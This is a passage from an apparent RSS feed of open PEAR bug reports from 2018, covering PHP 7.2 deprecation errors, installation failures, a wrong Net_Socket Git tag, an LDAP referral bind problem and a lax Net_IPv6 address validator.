Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249
XML Extension not found</pre>]]></description>
      <dc:date>2018-11-18T14:09:44+00:00</dc:date>
      <dc:creator>shea690901 &amp;#x61;&amp;#116; gmail &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>PEAR Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/23776">
      <title>MDB2_Driver_mysqli: Bug 23776 [Open] extensions not installed</title>
      <link>http://pear.php.net/bugs/23776</link>
      <content:encoded><![CDATA[<pre>MDB2_Driver_mysqli Bug
Reported by cdobay65
2018-11-18T07:08:48+00:00
PHP: 5.6.11 OS: windows10 Package Version: Unknown

Description:
------------
Missing extensions mygsqli and gd, but when I look they are checked in the version that I am running. So what would cause me not to be able to install a program from the c-panel?</pre>]]></content:encoded>
      <description><![CDATA[<pre>MDB2_Driver_mysqli Bug
Reported by cdobay65
2018-11-18T07:08:48+00:00
PHP: 5.6.11 OS: windows10 Package Version: Unknown

Description:
------------
Missing extensions mygsqli and gd, but when I look they are checked in the version that I am running. So what would cause me not to be able to install a program from the c-panel?</pre>]]></description>
      <dc:date>2018-11-18T07:08:48+00:00</dc:date>
      <dc:creator>cashfromhome &amp;#x61;&amp;#116; usa &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>MDB2_Driver_mysqli Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/23775">
      <title>PEAR: Bug 23775 [Open] create_function is deprecated in PHP 7.2</title>
      <link>http://pear.php.net/bugs/23775</link>
      <content:encoded><![CDATA[<pre>PEAR Bug
Reported by kna
2018-11-13T02:31:20+00:00
PHP: Irrelevant OS:  Package Version: 1.10.6

Description:
------------
https://wiki.php.net/rfc/deprecations_php_7_2

It should be replaced to anonymous functions.</pre>]]></content:encoded>
      <description><![CDATA[<pre>PEAR Bug
Reported by kna
2018-11-13T02:31:20+00:00
PHP: Irrelevant OS:  Package Version: 1.10.6

Description:
------------
https://wiki.php.net/rfc/deprecations_php_7_2

It should be replaced to anonymous functions.</pre>]]></description>
      <dc:date>2018-11-13T02:31:20+00:00</dc:date>
      <dc:creator>naoki-kawamukai &amp;#x61;&amp;#116; cybozu &amp;#x64;&amp;#111;&amp;#x74; co &amp;#x64;&amp;#111;&amp;#x74; jp</dc:creator>
      <dc:subject>PEAR Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/23774">
      <title>PEAR: Documentation Problem 23774 [Open] download go-pear.phar file error</title>
      <link>http://pear.php.net/bugs/23774</link>
      <content:encoded><![CDATA[<pre>PEAR Documentation Problem
Reported by samirparikh
2018-10-30T14:58:39+00:00
PHP: Irrelevant OS: window 7 Package Version: Unknown

Description:
------------
When i download go-pear.phar from http://pear.php.net/go-pear.phar this 
link, but file not properly download some text display after require_once 
'phar://go-pear.phar/index.php'; this line like 
__HALT_COMPILER();g??F??????????go-
pear.phar???????Archive/Tar.php%E??LRY%E??OQ-
m?????????Console/Getopt.php}4???LRY}4??e??om???
???	???index.php?????LRY????A?#m??????

and to long file max 100mb error display</pre>]]></content:encoded>
      <description><![CDATA[<pre>PEAR Documentation Problem
Reported by samirparikh
2018-10-30T14:58:39+00:00
PHP: Irrelevant OS: window 7 Package Version: Unknown

Description:
------------
When i download go-pear.phar from http://pear.php.net/go-pear.phar this 
link, but file not properly download some text display after require_once 
'phar://go-pear.phar/index.php'; this line like 
__HALT_COMPILER();g??F??????????go-
pear.phar???????Archive/Tar.php%E??LRY%E??OQ-
m?????????Console/Getopt.php}4???LRY}4??e??om???
???	???index.php?????LRY????A?#m??????

and to long file max 100mb error display</pre>]]></description>
      <dc:date>2018-10-30T14:58:39+00:00</dc:date>
      <dc:creator>samirvparikh &amp;#x61;&amp;#116; gmail &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>PEAR Documentation Problem</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/23772">
      <title>PEAR: Bug 23772 [Open] Fatal error: Cannot make static method PEAR::isError() non static in class  Mai</title>
      <link>http://pear.php.net/bugs/23772</link>
      <content:encoded><![CDATA[<pre>PEAR Bug
Reported by ahir_123
2018-10-04T07:02:35+00:00
PHP: HEAD SVN-2018-10-04 OS: windows 7 Package Version: 1.10.6

Description:
------------
 Deprecated: Methods with the same name as their class will not be 
constructors in a future version of PHP; Mail_Queue_Error has a deprecated 
constructor in C:\wamp64\www\biomatiqueserp\Mail\Queue\Error.php on line 
61


Fatal error: Cannot make static method PEAR::isError() non static in class 
Mail_Queue in C:\wamp64\www\biomatiqueserp\Mail\Queue.php on line 125

Test script:
---------------
Fatal error: Cannot make static method PEAR::isError() non static in class 
Mail_Queue in C:\wamp64\www\biomatiqueserp\Mail\Queue.php on line 125

Expected result:
----------------
Fatal error: Cannot make static method PEAR::isError() non static in class 
Mail_Queue in C:\wamp64\www\biomatiqueserp\Mail\Queue.php on line 125

Actual result:
--------------
Fatal error: Cannot make static method PEAR::isError() non static in class 
Mail_Queue in C:\wamp64\www\biomatiqueserp\Mail\Queue.php on line 125</pre>]]></content:encoded>
      <description><![CDATA[<pre>PEAR Bug
Reported by ahir_123
2018-10-04T07:02:35+00:00
PHP: HEAD SVN-2018-10-04 OS: windows 7 Package Version: 1.10.6

Description:
------------
 Deprecated: Methods with the same name as their class will not be 
constructors in a future version of PHP; Mail_Queue_Error has a deprecated 
constructor in C:\wamp64\www\biomatiqueserp\Mail\Queue\Error.php on line 
61


Fatal error: Cannot make static method PEAR::isError() non static in class 
Mail_Queue in C:\wamp64\www\biomatiqueserp\Mail\Queue.php on line 125

Test script:
---------------
Fatal error: Cannot make static method PEAR::isError() non static in class 
Mail_Queue in C:\wamp64\www\biomatiqueserp\Mail\Queue.php on line 125

Expected result:
----------------
Fatal error: Cannot make static method PEAR::isError() non static in class 
Mail_Queue in C:\wamp64\www\biomatiqueserp\Mail\Queue.php on line 125

Actual result:
--------------
Fatal error: Cannot make static method PEAR::isError() non static in class 
Mail_Queue in C:\wamp64\www\biomatiqueserp\Mail\Queue.php on line 125</pre>]]></description>
      <dc:date>2018-10-04T07:02:35+00:00</dc:date>
      <dc:creator>brijeshahir13 &amp;#x61;&amp;#116; gmail &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>PEAR Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/23771">
      <title>Console_Getopt: Bug 23771 [Open] Missing argument in console_getopt</title>
      <link>http://pear.php.net/bugs/23771</link>
      <content:encoded><![CDATA[<pre>Console_Getopt Bug
Reported by tonymarston
2018-09-28T13:35:05+00:00
PHP: Irrelevant OS: Windows 7 Package Version: 1.4.1

Description:
------------
When trying to upgrade NET_SMTP from version I get the following error message:

Console_Getopt: option requires an argument --t in F:\PEAR-1.10.1\System.php on line 114

Expected result:
----------------
I expect the upgrade to work

Actual result:
--------------
Error: cannot download &quot;pear/Net_SMTP&quot;

upgrade-all failed</pre>]]></content:encoded>
      <description><![CDATA[<pre>Console_Getopt Bug
Reported by tonymarston
2018-09-28T13:35:05+00:00
PHP: Irrelevant OS: Windows 7 Package Version: 1.4.1

Description:
------------
When trying to upgrade NET_SMTP from version I get the following error message:

Console_Getopt: option requires an argument --t in F:\PEAR-1.10.1\System.php on line 114

Expected result:
----------------
I expect the upgrade to work

Actual result:
--------------
Error: cannot download &quot;pear/Net_SMTP&quot;

upgrade-all failed</pre>]]></description>
      <dc:date>2018-09-28T13:36:55+00:00</dc:date>
      <dc:creator>tony &amp;#x61;&amp;#116; marston-home &amp;#x64;&amp;#111;&amp;#x74; demon &amp;#x64;&amp;#111;&amp;#x74; co &amp;#x64;&amp;#111;&amp;#x74; uk</dc:creator>
      <dc:subject>Console_Getopt Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/23770">
      <title>HTML_QuickForm: Documentation Problem 23770 [Open] External tutorial link is dead</title>
      <link>http://pear.php.net/bugs/23770</link>
      <content:encoded><![CDATA[<pre>HTML_QuickForm Documentation Problem
Reported by rogerd
2018-09-20T04:07:59+00:00
PHP: Irrelevant OS:  Package Version: 3.2.16

Description:
------------
The link to Keith's bigger tutorial (link near top of Quick Start page) results in 
a 404.</pre>]]></content:encoded>
      <description><![CDATA[<pre>HTML_QuickForm Documentation Problem
Reported by rogerd
2018-09-20T04:07:59+00:00
PHP: Irrelevant OS:  Package Version: 3.2.16

Description:
------------
The link to Keith's bigger tutorial (link near top of Quick Start page) results in 
a 404.</pre>]]></description>
      <dc:date>2018-09-20T04:07:59+00:00</dc:date>
      <dc:creator>roger &amp;#x61;&amp;#116; at &amp;#x64;&amp;#111;&amp;#x74; com &amp;#x64;&amp;#111;&amp;#x74; au</dc:creator>
      <dc:subject>HTML_QuickForm Documentation Problem</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/23768">
      <title>Net_Socket: Bug 23768 [Open] Git tag of v1.2.2 is incorrect</title>
      <link>http://pear.php.net/bugs/23768</link>
      <content:encoded><![CDATA[<pre>Net_Socket Bug
Reported by legoktm
2018-09-13T20:12:06+00:00
PHP: 5.6.38 OS: Fedora Package Version: 1.2.2

Description:
------------
The v1.2.2 git tag is incorrect, it points to a commit from 2015: &lt;https://github.com/pear/Net_Socket/releases/tag/v1.2.2&gt;. This means that anyone using composer is getting the wrong version of the package.

Test script:
---------------
Run composer install pear/net_socket

Expected result:
----------------
I expect that 7482c62deab2c2685e00c221d97a83e17c795ef8 is installed.

Actual result:
--------------
bbe6a12bb4f7059dba161f6ddd43f369c0ec8d09 is actually installed, which  is from 2015.</pre>]]></content:encoded>
      <description><![CDATA[<pre>Net_Socket Bug
Reported by legoktm
2018-09-13T20:12:06+00:00
PHP: 5.6.38 OS: Fedora Package Version: 1.2.2

Description:
------------
The v1.2.2 git tag is incorrect, it points to a commit from 2015: &lt;https://github.com/pear/Net_Socket/releases/tag/v1.2.2&gt;. This means that anyone using composer is getting the wrong version of the package.

Test script:
---------------
Run composer install pear/net_socket

Expected result:
----------------
I expect that 7482c62deab2c2685e00c221d97a83e17c795ef8 is installed.

Actual result:
--------------
bbe6a12bb4f7059dba161f6ddd43f369c0ec8d09 is actually installed, which  is from 2015.</pre>]]></description>
      <dc:date>2018-09-13T20:12:06+00:00</dc:date>
      <dc:creator>legoktm &amp;#x61;&amp;#116; member &amp;#x64;&amp;#111;&amp;#x74; fsf &amp;#x64;&amp;#111;&amp;#x74; org</dc:creator>
      <dc:subject>Net_Socket Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/23767">
      <title>Auth: Feature/Change Request 23767 [Open] PHP7.2 Reference Error</title>
      <link>http://pear.php.net/bugs/23767</link>
      <content:encoded><![CDATA[<pre>Auth Feature/Change Request
Reported by frankm
2018-09-03T22:52:52+00:00
PHP: HEAD SVN-2018-09-03 OS: Windows/Apache Package Version: 1.6.4

Description:
------------
Auth does not work under PHP7.2. I got an error: 

Parse error: syntax error, unexpected 'new' (T_NEW) in C:\xampp\php\pear\Auth.php on line 469

The solution is to change the line 469
from:
$obj =&amp; new $storage_class($options);
to: 
$obj = new $storage_class($options);

That's it!</pre>]]></content:encoded>
      <description><![CDATA[<pre>Auth Feature/Change Request
Reported by frankm
2018-09-03T22:52:52+00:00
PHP: HEAD SVN-2018-09-03 OS: Windows/Apache Package Version: 1.6.4

Description:
------------
Auth does not work under PHP7.2. I got an error: 

Parse error: syntax error, unexpected 'new' (T_NEW) in C:\xampp\php\pear\Auth.php on line 469

The solution is to change the line 469
from:
$obj =&amp; new $storage_class($options);
to: 
$obj = new $storage_class($options);

That's it!</pre>]]></description>
      <dc:date>2018-09-03T22:52:52+00:00</dc:date>
      <dc:creator>info &amp;#x61;&amp;#116; meurologic &amp;#x64;&amp;#111;&amp;#x74; de</dc:creator>
      <dc:subject>Auth Feature/Change Request</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/23766">
      <title>PEAR_Frontend_Web: Bug 23766 [Open] File http://doc.php.net:80/rest/p/packages.xml not valid</title>
      <link>http://pear.php.net/bugs/23766</link>
      <content:encoded><![CDATA[<pre>PEAR_Frontend_Web Bug
Reported by tonymarston
2018-09-02T13:49:00+00:00
PHP: HEAD SVN-2018-09-02 OS: Windows 10 Package Version: 0.7.5

Description:
------------
When I try the &quot;list all package names&quot; option the following error message is produced:

File http://doc.php.net:80/rest/p/packages.xml not valid</pre>]]></content:encoded>
      <description><![CDATA[<pre>PEAR_Frontend_Web Bug
Reported by tonymarston
2018-09-02T13:49:00+00:00
PHP: HEAD SVN-2018-09-02 OS: Windows 10 Package Version: 0.7.5

Description:
------------
When I try the &quot;list all package names&quot; option the following error message is produced:

File http://doc.php.net:80/rest/p/packages.xml not valid</pre>]]></description>
      <dc:date>2018-09-02T13:49:00+00:00</dc:date>
      <dc:creator>tony &amp;#x61;&amp;#116; marston-home &amp;#x64;&amp;#111;&amp;#x74; demon &amp;#x64;&amp;#111;&amp;#x74; co &amp;#x64;&amp;#111;&amp;#x74; uk</dc:creator>
      <dc:subject>PEAR_Frontend_Web Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/23765">
      <title>PEAR_PackageFileManager: Bug 23765 [Open] Contains deprecated each()</title>
      <link>http://pear.php.net/bugs/23765</link>
      <content:encoded><![CDATA[<pre>PEAR_PackageFileManager Bug
Reported by tonymarston
2018-09-02T10:12:27+00:00
PHP: Irrelevant OS: Windows 10 Package Version: 1.7.2

Description:
------------
Script PEAR/packagefile/generator/v1.php contains each() which is deprecated in PHP 7.2 and must be removed for 7.3</pre>]]></content:encoded>
      <description><![CDATA[<pre>PEAR_PackageFileManager Bug
Reported by tonymarston
2018-09-02T10:12:27+00:00
PHP: Irrelevant OS: Windows 10 Package Version: 1.7.2

Description:
------------
Script PEAR/packagefile/generator/v1.php contains each() which is deprecated in PHP 7.2 and must be removed for 7.3</pre>]]></description>
      <dc:date>2018-09-02T10:12:27+00:00</dc:date>
      <dc:creator>tony &amp;#x61;&amp;#116; marston-home &amp;#x64;&amp;#111;&amp;#x74; demon &amp;#x64;&amp;#111;&amp;#x74; co &amp;#x64;&amp;#111;&amp;#x74; uk</dc:creator>
      <dc:subject>PEAR_PackageFileManager Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/23764">
      <title>HTML_Template_IT: Bug 23764 [Open] Contains deprecated each()</title>
      <link>http://pear.php.net/bugs/23764</link>
      <content:encoded><![CDATA[<pre>HTML_Template_IT Bug
Reported by tonymarston
2018-09-02T10:04:02+00:00
PHP: Irrelevant OS: Windows 10 Package Version: 1.3.1

Description:
------------
Script HTML/template/itx.php contains each() which is deprecated in PHP 7.2 and needs t be replaced for 7.3</pre>]]></content:encoded>
      <description><![CDATA[<pre>HTML_Template_IT Bug
Reported by tonymarston
2018-09-02T10:04:02+00:00
PHP: Irrelevant OS: Windows 10 Package Version: 1.3.1

Description:
------------
Script HTML/template/itx.php contains each() which is deprecated in PHP 7.2 and needs t be replaced for 7.3</pre>]]></description>
      <dc:date>2018-09-02T10:04:02+00:00</dc:date>
      <dc:creator>tony &amp;#x61;&amp;#116; marston-home &amp;#x64;&amp;#111;&amp;#x74; demon &amp;#x64;&amp;#111;&amp;#x74; co &amp;#x64;&amp;#111;&amp;#x74; uk</dc:creator>
      <dc:subject>HTML_Template_IT Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/23763">
      <title>Console_GetoptPlus: Bug 23763 [Open] Contains deprecated each()</title>
      <link>http://pear.php.net/bugs/23763</link>
      <content:encoded><![CDATA[<pre>Console_GetoptPlus Bug
Reported by tonymarston
2018-09-02T10:01:20+00:00
PHP: Irrelevant OS: Windows 10 Package Version: 1.0.0RC1

Description:
------------
Script console/getoptplus/getopt.php contains each() which is deprecated in PHP 7.2 and must be removed for 7.3</pre>]]></content:encoded>
      <description><![CDATA[<pre>Console_GetoptPlus Bug
Reported by tonymarston
2018-09-02T10:01:20+00:00
PHP: Irrelevant OS: Windows 10 Package Version: 1.0.0RC1

Description:
------------
Script console/getoptplus/getopt.php contains each() which is deprecated in PHP 7.2 and must be removed for 7.3</pre>]]></description>
      <dc:date>2018-09-02T10:01:20+00:00</dc:date>
      <dc:creator>tony &amp;#x61;&amp;#116; marston-home &amp;#x64;&amp;#111;&amp;#x74; demon &amp;#x64;&amp;#111;&amp;#x74; co &amp;#x64;&amp;#111;&amp;#x74; uk</dc:creator>
      <dc:subject>Console_GetoptPlus Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/23762">
      <title>Console_Getopt: Bug 23762 [Open] Contains deperecated each()</title>
      <link>http://pear.php.net/bugs/23762</link>
      <content:encoded><![CDATA[<pre>Console_Getopt Bug
Reported by tonymarston
2018-09-02T09:56:22+00:00
PHP: Irrelevant OS: Windows 10 Package Version: 1.4.1

Description:
------------
Script console/getopt.php contains each() which is deprecated in PHP 7.2 and must be removed for 7.3</pre>]]></content:encoded>
      <description><![CDATA[<pre>Console_Getopt Bug
Reported by tonymarston
2018-09-02T09:56:22+00:00
PHP: Irrelevant OS: Windows 10 Package Version: 1.4.1

Description:
------------
Script console/getopt.php contains each() which is deprecated in PHP 7.2 and must be removed for 7.3</pre>]]></description>
      <dc:date>2018-09-02T09:56:22+00:00</dc:date>
      <dc:creator>tony &amp;#x61;&amp;#116; marston-home &amp;#x64;&amp;#111;&amp;#x74; demon &amp;#x64;&amp;#111;&amp;#x74; co &amp;#x64;&amp;#111;&amp;#x74; uk</dc:creator>
      <dc:subject>Console_Getopt Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/23760">
      <title>PEAR: Bug 23760 [Open] error installing PEAR using INSTALL_ROOT</title>
      <link>http://pear.php.net/bugs/23760</link>
      <content:encoded><![CDATA[<pre>PEAR Bug
Reported by rbro
2018-07-29T16:53:32+00:00
PHP: Irrelevant OS: Linux Package Version: Unknown

Description:
------------
I am installing PHP 7.2.8 to a separate directory using:

INSTALL_ROOT=/tmp/test make install

While it's installing, there is a PHP notice:

Notice: Undefined variable: metadata_dir in phar:///tmp/php-7.2.8/pear/install-pear-nozlib.phar/index.php on line 255

Also, I noticed in /tmp/test, there are a few extra directories that normally don't appear t hat I believe should be in /tmp/test/usr/local/lib/php instead.

/tmp/test/.channels
/tmp/test/.depdb
/tmp/test/.depdblock
/tmp/test/.lock
/tmp/test/.registry

Is this something that could be fixed?  Thanks for your help.</pre>]]></content:encoded>
      <description><![CDATA[<pre>PEAR Bug
Reported by rbro
2018-07-29T16:53:32+00:00
PHP: Irrelevant OS: Linux Package Version: Unknown

Description:
------------
I am installing PHP 7.2.8 to a separate directory using:

INSTALL_ROOT=/tmp/test make install

While it's installing, there is a PHP notice:

Notice: Undefined variable: metadata_dir in phar:///tmp/php-7.2.8/pear/install-pear-nozlib.phar/index.php on line 255

Also, I noticed in /tmp/test, there are a few extra directories that normally don't appear t hat I believe should be in /tmp/test/usr/local/lib/php instead.

/tmp/test/.channels
/tmp/test/.depdb
/tmp/test/.depdblock
/tmp/test/.lock
/tmp/test/.registry

Is this something that could be fixed?  Thanks for your help.</pre>]]></description>
      <dc:date>2018-07-29T16:53:32+00:00</dc:date>
      <dc:creator>ryan &amp;#x64;&amp;#111;&amp;#x74; brothers &amp;#x61;&amp;#116; gmail &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>PEAR Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/23758">
      <title>Net_LDAP2: Bug 23758 [Open] Bind to a referral is anonymous</title>
      <link>http://pear.php.net/bugs/23758</link>
      <content:encoded><![CDATA[<pre>Net_LDAP2 Bug
Reported by jlwasmer
2018-07-18T19:00:34+00:00
PHP: 5.6.24 OS: FreeBSD 10.3 Package Version: 2.2.0

Description:
------------
Hi,

Although I bind to the local LDAP server as a valid user, when 
making a change the local server is sending a referral back which is 
followed but this fails because the bind is then anonymous.

Thanks,
JL

Expected result:
----------------
I would expect to bind to the referral server with the same DN and 
password as initially used.</pre>]]></content:encoded>
      <description><![CDATA[<pre>Net_LDAP2 Bug
Reported by jlwasmer
2018-07-18T19:00:34+00:00
PHP: 5.6.24 OS: FreeBSD 10.3 Package Version: 2.2.0

Description:
------------
Hi,

Although I bind to the local LDAP server as a valid user, when 
making a change the local server is sending a referral back which is 
followed but this fails because the bind is then anonymous.

Thanks,
JL

Expected result:
----------------
I would expect to bind to the referral server with the same DN and 
password as initially used.</pre>]]></description>
      <dc:date>2018-10-14T01:42:17+00:00</dc:date>
      <dc:creator>jl &amp;#x61;&amp;#116; 2018 &amp;#x64;&amp;#111;&amp;#x74; wasmer &amp;#x64;&amp;#111;&amp;#x74; ca</dc:creator>
      <dc:subject>Net_LDAP2 Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/23754">
      <title>Config: Feature/Change Request 23754 [Open] Version Bump Config</title>
      <link>http://pear.php.net/bugs/23754</link>
      <content:encoded><![CDATA[<pre>Config Feature/Change Request
Reported by mherndl
2018-06-29T14:06:45+00:00
PHP: Irrelevant OS: Linux Package Version: SVN

Description:
------------
Hi,

can you update config to https://github.com/pear/Config/commit/606a24034ad80f9d6ccb5a8b698b702b392e4674 to support newer PHP version?

Regards
Martin</pre>]]></content:encoded>
      <description><![CDATA[<pre>Config Feature/Change Request
Reported by mherndl
2018-06-29T14:06:45+00:00
PHP: Irrelevant OS: Linux Package Version: SVN

Description:
------------
Hi,

can you update config to https://github.com/pear/Config/commit/606a24034ad80f9d6ccb5a8b698b702b392e4674 to support newer PHP version?

Regards
Martin</pre>]]></description>
      <dc:date>2018-06-29T14:06:45+00:00</dc:date>
      <dc:creator>martin &amp;#x64;&amp;#111;&amp;#x74; herndl &amp;#x61;&amp;#116; world4you &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>Config Feature/Change Request</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/23753">
      <title>PEAR_PackageFileManager2: Bug 23753 [Open] Cannot install using PEAR</title>
      <link>http://pear.php.net/bugs/23753</link>
      <content:encoded><![CDATA[<pre>PEAR_PackageFileManager2 Bug
Reported by alec
2018-05-29T07:09:57+00:00
PHP: Irrelevant OS:  Package Version: 1.0.4

Description:
------------
$ sudo pear install PEAR_PackageFileManager2
WARNING: &quot;pear/PHP_CompatInfo&quot; is deprecated in favor of &quot;channel://bartlett.laurent-laville.org/PHP_CompatInfo&quot;
Did not download optional dependencies: pear/PHP_CompatInfo, use --alldeps to download automatically
Failed to download pear/XML_Serializer within preferred state &quot;stable&quot;, latest release is version 0.21.0, stability &quot;beta&quot;, use &quot;channel://pear.php.net/XML_Serializer-0.21.0&quot; to install pear/PEAR_PackageFileManager2 can optionally use package &quot;pear/PHP_CompatInfo&quot; (version &gt;= 1.4.0) pear/PEAR_PackageFileManager_Plugins requires package &quot;pear/XML_Serializer&quot; (version &gt;= 0.19.0) pear/PEAR_PackageFileManager2 requires package &quot;pear/PEAR_PackageFileManager_Plugins&quot; No valid packages found install failed</pre>]]></content:encoded>
      <description><![CDATA[<pre>PEAR_PackageFileManager2 Bug
Reported by alec
2018-05-29T07:09:57+00:00
PHP: Irrelevant OS:  Package Version: 1.0.4

Description:
------------
$ sudo pear install PEAR_PackageFileManager2
WARNING: &quot;pear/PHP_CompatInfo&quot; is deprecated in favor of &quot;channel://bartlett.laurent-laville.org/PHP_CompatInfo&quot;
Did not download optional dependencies: pear/PHP_CompatInfo, use --alldeps to download automatically
Failed to download pear/XML_Serializer within preferred state &quot;stable&quot;, latest release is version 0.21.0, stability &quot;beta&quot;, use &quot;channel://pear.php.net/XML_Serializer-0.21.0&quot; to install pear/PEAR_PackageFileManager2 can optionally use package &quot;pear/PHP_CompatInfo&quot; (version &gt;= 1.4.0) pear/PEAR_PackageFileManager_Plugins requires package &quot;pear/XML_Serializer&quot; (version &gt;= 0.19.0) pear/PEAR_PackageFileManager2 requires package &quot;pear/PEAR_PackageFileManager_Plugins&quot; No valid packages found install failed</pre>]]></description>
      <dc:date>2018-05-29T07:09:57+00:00</dc:date>
      <dc:creator>alec &amp;#x61;&amp;#116; alec &amp;#x64;&amp;#111;&amp;#x74; pl</dc:creator>
      <dc:subject>PEAR_PackageFileManager2 Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/23749">
      <title>Net_IPv4: Bug 23749 [Open] mistake of variable name</title>
      <link>http://pear.php.net/bugs/23749</link>
      <content:encoded><![CDATA[<pre>Net_IPv4 Bug
Reported by tailliar
2018-05-09T08:25:51+00:00
PHP: Irrelevant OS:  Package Version: 1.3.4

Description:
------------
1)line 353:

if (PEAR::isError($ipobj)) {

should be

if (PEAR::isError($ipobj1)) {

2)line 359:

if (PEAR::isError($ipobj)) {

should be

if (PEAR::isError($ipobj2)) {

Test script:
---------------
When you see it, you will know.</pre>]]></content:encoded>
      <description><![CDATA[<pre>Net_IPv4 Bug
Reported by tailliar
2018-05-09T08:25:51+00:00
PHP: Irrelevant OS:  Package Version: 1.3.4

Description:
------------
1)line 353:

if (PEAR::isError($ipobj)) {

should be

if (PEAR::isError($ipobj1)) {

2)line 359:

if (PEAR::isError($ipobj)) {

should be

if (PEAR::isError($ipobj2)) {

Test script:
---------------
When you see it, you will know.</pre>]]></description>
      <dc:date>2018-05-09T08:25:51+00:00</dc:date>
      <dc:creator>kaoru-izutani &amp;#x61;&amp;#116; e-mail &amp;#x64;&amp;#111;&amp;#x74; jp</dc:creator>
      <dc:subject>Net_IPv4 Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/23747">
      <title>Date_Holidays_Japan: Bug 23747 [Open] =&amp; operator is deprecated</title>
      <link>http://pear.php.net/bugs/23747</link>
      <content:encoded><![CDATA[<pre>Date_Holidays_Japan Bug
Reported by arimil
2018-05-04T19:47:50+00:00
PHP: HEAD SVN-2018-05-04 OS: Ubuntu Package Version: 0.1.3

Description:
------------
On line 328 it reads:

$date =&amp; new Date($this-&gt;_year . '-05-04');

However the =&amp; operator is deprecated since php5 since returning a 
reference is now the default.</pre>]]></content:encoded>
      <description><![CDATA[<pre>Date_Holidays_Japan Bug
Reported by arimil
2018-05-04T19:47:50+00:00
PHP: HEAD SVN-2018-05-04 OS: Ubuntu Package Version: 0.1.3

Description:
------------
On line 328 it reads:

$date =&amp; new Date($this-&gt;_year . '-05-04');

However the =&amp; operator is deprecated since php5 since returning a 
reference is now the default.</pre>]]></description>
      <dc:date>2018-05-04T19:47:50+00:00</dc:date>
      <dc:creator>renari &amp;#x61;&amp;#116; arimil &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>Date_Holidays_Japan Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/23737">
      <title>Net_IPv6: Bug 23737 [Assigned] checkIPv6 validates IPv6 addresses with invalid charactes</title>
      <link>http://pear.php.net/bugs/23737</link>
      <content:encoded><![CDATA[<pre>Net_IPv6 Bug
Reported by astpear
2018-02-13T23:37:32+00:00
PHP: 5.6.32 OS: RHEL 6.5 Package Version: 1.3.0b3

Description:
------------
'2001:4998:c:6d02::/64' will pass checkIPv6 because the invalid segment 
contains hexadecimal characters.

This logic:
  if(!preg_match('/[0-9a-fA-F]*/', $element)) {
should probably apply to $ip and search for invalid, rather than valid, 
characters.
  if(preg_match('/[^:0-9a-fA-F]+/', $ip)) { return false; }

Rather than searching for invalid characters it searches for valid characters

Test script:
---------------
require_once 'Net/IPv6.php';

$ip = '2001:4998:c:6d02::/64';

if (Net_IPv6::checkIPv6($ip)) {
	echo &quot;pass\n&quot;;
}


Expected result:
----------------
I expect no output.

Actual result:
--------------
I get &quot;pass.&quot;</pre>]]></content:encoded>
      <description><![CDATA[<pre>Net_IPv6 Bug
Reported by astpear
2018-02-13T23:37:32+00:00
PHP: 5.6.32 OS: RHEL 6.5 Package Version: 1.3.0b3

Description:
------------
'2001:4998:c:6d02::/64' will pass checkIPv6 because the invalid segment 
contains hexadecimal characters.

This logic:
  if(!preg_match('/[0-9a-fA-F]*/', $element)) {
should probably apply to $ip and search for invalid, rather than valid, 
characters.
  if(preg_match('/[^:0-9a-fA-F]+/', $ip)) { return false; }

